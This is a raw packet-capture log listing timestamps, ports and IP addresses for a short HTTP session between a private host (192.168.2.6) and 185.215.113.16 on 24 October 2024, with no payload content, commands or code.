Oct 24, 2024 04:57:25.475121021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.475147963 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.475220919 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.556376934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.556412935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.556435108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.556562901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.557662010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.557682037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.557704926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.557748079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.557748079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.589919090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.589962006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.589982986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.590065956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.593816996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.593873978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.593893051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.593897104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.593934059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.593955040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.593976021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.594000101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.594000101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.594237089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.594257116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.594290018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.594311953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.594327927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.594327927 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.642823935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.675569057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.675607920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.675673008 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.675676107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.675693035 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.676857948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.676871061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.676917076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.676943064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.676985025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.676985025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.709230900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.709253073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.709278107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.709316015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713136911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713160992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713182926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713259935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713259935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713274002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713318110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713342905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713381052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713562012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713582039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713603020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713630915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713762045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.713829994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713844061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.713944912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.794940948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.794986010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.794996977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.795072079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.796149015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.796160936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.796171904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.796225071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.796225071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.828416109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.828428030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.828438044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.828593969 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.832412004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832437038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832459927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832473040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832482100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832531929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.832531929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.832588911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832637072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832648993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832659960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.832717896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.832717896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.873995066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.874017954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.874042034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.874139071 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.914216042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.914243937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.914271116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.914325953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.914381981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.914405107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.915456057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.915505886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.915507078 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:25.947652102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.947691917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:25.947694063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.002202988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.100948095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.100960970 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.100989103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101000071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101010084 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101021051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101032972 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101067066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.101067066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.101362944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101373911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101385117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101407051 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.101412058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101430893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101442099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101454020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.101460934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.101486921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.101541042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.102236986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102252960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102283955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102294922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102298975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.102308989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102322102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102334023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.102341890 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.102437019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.103079081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.103090048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.103153944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.113744020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.113754034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.113792896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.113801956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.113820076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.113837004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.154025078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.154036045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.154114962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.191234112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.191243887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.191281080 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.191287994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.191299915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.191309929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.191330910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.191345930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.192342043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.192352057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.192389965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.192394018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.192404985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.192451000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.220213890 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.220263004 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.220307112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.232975960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.232997894 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.233012915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.233023882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.233047009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.233108044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.310702085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.310725927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.310750008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.310761929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.310777903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.310811043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.310811043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.311558008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.311568022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.311614037 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.311634064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.311644077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.311728001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.352343082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.352355003 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.352364063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.352662086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.394017935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.394027948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.394037008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.394100904 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.430063963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430116892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430128098 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430139065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430141926 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.430150986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430166960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.430206060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.430893898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430906057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430915117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.430947065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.430986881 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.431025982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.431061029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.470988035 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.471590042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.471601009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.471611023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.471647024 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.513346910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.513356924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.513365030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.513391972 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.513406038 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.549355984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.549382925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.549393892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.549403906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.549416065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.549422026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.549444914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.550206900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.550218105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.550229073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.550255060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.550275087 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.591459990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.591617107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.591626883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.591635942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.591710091 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.591738939 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.632566929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.632577896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.632586002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.632709980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.668611050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668622971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668632030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668689966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668700933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668709993 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668776989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.668776989 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.668946981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668967962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.668977976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.669075012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.669075012 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.669574976 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.669584036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.669589043 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.669598103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.669619083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.669634104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.710232973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.710246086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.710256100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.710316896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.751979113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.751996994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.752007008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.752038956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.752067089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.787894011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.787944078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.787955999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788022995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788034916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788045883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788084030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788084030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788084030 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788239956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788249969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788311005 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788434982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788445950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788455009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788486004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788784027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788794041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788804054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.788832903 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.788857937 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.829515934 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.829539061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.829549074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.829603910 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.871189117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.871197939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.871237040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.871246099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.871368885 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.907042027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907083988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907119989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907129049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907226086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.907226086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.907236099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907244921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907282114 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.907382011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907391071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907428026 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.907510996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907522917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907531977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.907572985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.908008099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.908031940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.908046961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.908071041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.908088923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.908091068 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.948771000 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.948784113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.948793888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.948854923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:26.996843100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.996855974 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.996866941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:26.996906042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026329041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026381016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026388884 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:27.026392937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:27.026437044 CEST	80	49774	185.215.113.16	192.168.2.6
